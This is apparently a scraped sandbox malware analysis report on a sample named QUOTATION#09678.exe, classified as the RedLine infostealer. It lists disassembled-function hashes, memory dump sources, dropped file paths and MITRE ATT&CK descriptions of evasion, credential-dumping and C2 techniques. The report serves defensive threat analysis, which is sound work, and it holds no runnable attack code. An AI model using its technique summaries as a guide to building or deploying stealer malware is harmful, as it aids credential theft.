Opcode Fuzzy Hash: 1e990a23aa7d83d1647ef621a0c7b33c23c12dce7f92b915d1bd3098ddc04663
Instruction Fuzzy Hash: 254268707406158FCB659F68E45096EBAB6FFC2310B014A6CD5039F7A4CB7AED098B86

Function 067704F4 Relevance: .5, Instructions: 499
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66e924e74e6faba71d5af3baa97db307d1ab4891e1ac0abb96215fc73576507b
Instruction ID: 0b0bfeff5e4a232bf46f5bac9d695001545df1fc81bf9836b3f398482f5adde0
Opcode Fuzzy Hash: 66e924e74e6faba71d5af3baa97db307d1ab4891e1ac0abb96215fc73576507b
Instruction Fuzzy Hash: A91298707406158FCB55DF68D840A6EBBB6FF85710F008968D5029F3A5CBBAED098B92

Function 0677056A Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66e600dd1141314a45f83f3710c184199b9470f05efcd5ef4609baa75ebd5078
Instruction ID: 61ec1fffd948d9f34fddf6bfbcb97901eb33d30fb21bbd8d4960302752a884cb
Opcode Fuzzy Hash: 66e600dd1141314a45f83f3710c184199b9470f05efcd5ef4609baa75ebd5078
Instruction Fuzzy Hash: 9D0299707006158FDB55DF68D840A6EBBB6FF85710F008968D5029F3A5CBBAED09CB92

Function 067705E0 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550cc45a825e40a6aba9beb47f2ece88ed1c781fc4f11cf00bbc39f4f030e96e
Instruction ID: 015612f17ead7247b5f070d9561414d2bfc5e2c8fdd3a35753186a0a9e8acb4f
Opcode Fuzzy Hash: 550cc45a825e40a6aba9beb47f2ece88ed1c781fc4f11cf00bbc39f4f030e96e
Instruction Fuzzy Hash: 09028870B006158FDB54CF68D841A6EBBB6FF85710F008959D5029F3A5CBBAED09CB92

Function 06770656 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7099ae7ea09f709b830216cc973dff8d94c68ceb00305f9daab6ed1a05ef565b
Instruction ID: 1d1262da127e779f4c0528976607e2e36d80b748918ca10acd882d627afe190f
Opcode Fuzzy Hash: 7099ae7ea09f709b830216cc973dff8d94c68ceb00305f9daab6ed1a05ef565b
Instruction Fuzzy Hash: 94F189B0B006149FDF44CF68D845A6EBBB6FF85700F008559E5029F3A5CBB6E909CB92

Function 067706CC Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7c7646668f48fbef9323f1c46597a232f5a11e0dd8e2df94533df1749bbdc2
Instruction ID: 5059474b9072ccd9011bc6b28d6e511a217ecf08a4e7178a95c533197a3dc2d2
Opcode Fuzzy Hash: dc7c7646668f48fbef9323f1c46597a232f5a11e0dd8e2df94533df1749bbdc2
Instruction Fuzzy Hash: 6DE18BB0B006049FDF40CF68D995A6EBBB6FF85700F108459E5029F3A5CBB6E905CBA1

Function 06770009 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d083f316fdde3d5fbd6ac1778fda916d4d11dbe8feb6a572de52f4c5e45f414
Instruction ID: c68aae73256c4d29aa46b2c9c0f9206e03ffd4eef9e20572c6ae4a705b974a80
Opcode Fuzzy Hash: 9d083f316fdde3d5fbd6ac1778fda916d4d11dbe8feb6a572de52f4c5e45f414
Instruction Fuzzy Hash: 38D1AFB0B10204DFEF418F64C955A6ABBB6FF89700F14849AE5029F3A5CBB5DD05CBA1

Function 06771536 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f19155ae7984a3b9dbb3de9578f4a008fb78d1a43b87e2210c5723a53cd51a5b
Instruction ID: a2cab47cff695d41de63f42c06e8c7648dd88c4763c16b015466851351590591
Opcode Fuzzy Hash: f19155ae7984a3b9dbb3de9578f4a008fb78d1a43b87e2210c5723a53cd51a5b
Instruction Fuzzy Hash: 50C12A34B20104AFCB04DF98D986EADBBB6FF89700F508459EA459F761C672ED06CB61

Function 06773138 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2bdf80e954652b8f357a2a634eff14671b2a7a0897c3e67250fd6209158ddef
Instruction ID: cb26848bcb52ae5fb24f7bc4436b91fd5862cb40e2aa079d70ae220a995ac100
Opcode Fuzzy Hash: e2bdf80e954652b8f357a2a634eff14671b2a7a0897c3e67250fd6209158ddef
Instruction Fuzzy Hash: 2C915D35B102049FCB44DF68C984DAEFBB6FF89710B1580AAE945AB361DB71EC05CB61

Function 06771308 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79c81ad839e6273a0caebd150fed7084451877c141261e40180c9068eacf0c47
Instruction ID: a39dce34faf34965995742bed7dee8dbdb2984043c47ec349a5105c9f9232c69
Opcode Fuzzy Hash: 79c81ad839e6273a0caebd150fed7084451877c141261e40180c9068eacf0c47
Instruction Fuzzy Hash: F0512132B003058FCF54AF7DD98047ABBFAAFC2215B9C857AD9859B650EB31C845C7A1

Function 0156D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386484050.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_156d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0956beb8aaae6610c5db58e66ef6007a2b95d211c00c3f1930117bd14934b0d8
Instruction ID: 611a80221752fb836c1718b309ae597f7598aeec3fa3f2dbceebe32d57d85cf1
Opcode Fuzzy Hash: 0956beb8aaae6610c5db58e66ef6007a2b95d211c00c3f1930117bd14934b0d8
Instruction Fuzzy Hash: 0721E571604240DFCB159F54D9C0B1ABFB9FB88314F24C969E9490F256C37AD416CBA1

Function 0156D5CC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386484050.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_156d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb141a16562cf358017cc852c1dd1d60c0c3418fe9caa5e7521f309f904a0085
Instruction ID: 558ce69da46a8842ec558ec79c1e2b851940d94b091a85e65d9415d88e0ef440
Opcode Fuzzy Hash: eb141a16562cf358017cc852c1dd1d60c0c3418fe9caa5e7521f309f904a0085
Instruction Fuzzy Hash: E22136B1200204DFDB05DF58D9C0F1ABFB9FB98314F208969E9490F256C33AD856C6E1

Function 0157D2F4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386514639.000000000157D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0157D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_157d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbcf3b3c101e8adc5e3f280fe7328e288732adea6d2dcc11687bba13e416f3a9
Instruction ID: 4c058fdce7593ea2eeb64ef4b2508cf65cdef37014d2b3b0c4a6c6a97b83299c
Opcode Fuzzy Hash: bbcf3b3c101e8adc5e3f280fe7328e288732adea6d2dcc11687bba13e416f3a9
Instruction Fuzzy Hash: A7212671604204DFDB01DF58E5C1B2ABFB5FF84324F24C969D8094F246C33AD406CAA1

Function 0157D4A4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386514639.000000000157D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0157D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_157d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4d8e3ae411326c109e493b1e1d4291bcde2d6174cb16b89c70d3406cb04ddb0
Instruction ID: 8ca40315ead36f633f281ad050c6c6fdfe0655a79a248b1ba49daa6b3b64e51b
Opcode Fuzzy Hash: a4d8e3ae411326c109e493b1e1d4291bcde2d6174cb16b89c70d3406cb04ddb0
Instruction Fuzzy Hash: 7521D0B15042049FDB05CF68E5C5F2ABBB6FF88318F24C969D94A4F252C37AD406CA62

Function 0156D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386484050.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_156d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction ID: 6017cead7155a8d6bfa8d399f22fbc6ffae11f1d849a1d18fbb7be4a212016c9
Opcode Fuzzy Hash: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction Fuzzy Hash: F921CD72504280DFCB16CF44D9C4B1ABF72FB88314F2486A9D9880F257C33AD426CBA2

Function 0156D5C7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386484050.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_156d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 3d05e44d55e8a144077d5f0d653ae81910b7114cb7a182566c07959896b099e2
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: A511CD72504244CFCB02CF54D5C4B1ABF72FB88210F248AA9D9490F256C33AD85ACBA2

Function 0157D49F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386514639.000000000157D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0157D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_157d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: de6fc092d81a6cb2356a260a454bc2e32a9ca301b219fb1344e9885c37b1e3fb
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 5A11BE75504240CFDB02CF58D5C4B19BF72FB84318F24C6A9D9494F252C33AD40ACB62

Function 0157D2EF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386514639.000000000157D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0157D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_157d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: cf72c3707eaea8353c2beaa9fcd6ed88a00dca9a9e0033091c320c27d4f241e1
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: EA119D76504284CFDB12CF54E5C4B19BF71FB84324F28C6AAD8494B656C33AD40ACBA2

Non-executed Functions

Function 06770D50 Relevance: 10.3, Strings: 8, Instructions: 295COMMON

Download Yara Rule

Strings

$]q, xrefs: 06770F76
$]q, xrefs: 06770DCC
$]q, xrefs: 06770F00
$]q, xrefs: 06770E1C
$]q, xrefs: 06770E42
$]q, xrefs: 06770F82
$]q, xrefs: 06770E4E
$]q, xrefs: 06770F50

Memory Dump Source

Source File: 00000005.00000002.2393593003.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6770000_InstallUtil.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 998f920b6467284bfd1d1fe98a088230cf0fb9ad6b2886b621e862c907ee4f36
Instruction ID: 82c9a480b486d5f48043cf8126b34c7992317a7aa722cd688b59180f13b1fe57
Opcode Fuzzy Hash: 998f920b6467284bfd1d1fe98a088230cf0fb9ad6b2886b621e862c907ee4f36
Instruction Fuzzy Hash: 0FB1CD70B002498FDF99DB69C9549BEBBF6BF89310B18846AE406D73A1CB74DC01CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QUOTATION#09678.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_QUOTATION#09678._f7e8cda497f49dbb58f08b576154eda73825fe_24f8ed17_c8c4fc4d-e9f8-4af6-abaf-2ae8e4f23469\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9462.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9703.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9742.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\installutil.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1xpgwqxv.fvz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cl0uf5e1.v3l.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rgvd3sxk.ceb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yof40a4m.tmj.psm1

C:\Users\user\AppData\Local\Temp\tmp121E.tmp

C:\Users\user\AppData\Local\Temp\tmp121F.tmp

C:\Users\user\AppData\Local\Temp\tmp1240.tmp

Windows Analysis Report
QUOTATION#09678.exe